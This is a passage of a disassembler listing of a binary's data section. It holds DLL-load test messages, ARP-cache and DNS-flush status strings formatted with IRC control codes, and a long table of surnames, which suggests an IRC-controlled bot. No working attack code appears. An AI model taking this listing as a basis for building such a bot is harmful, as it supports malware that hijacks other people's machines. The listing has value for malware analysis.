aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D368	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4F8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D528	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D558	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D57C	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42D5C4	dd 0			; DATA XREF: sub_40B08D+7o
off_42D5C8	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D630	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D63C	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		mov	al, 0FEh
		inc	edx
		add	[eax-5FFFBD02h], ch
		inc	byte ptr [edx+0]
		cwde
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]

loc_42DED4:				; CODE XREF: ___:loc_42DED4j
		jo	short loc_42DED4
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ah
		inc	byte ptr [edx+0]
		sbb	dh, bh
		inc	edx
		add	[esi+edi*8], cl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
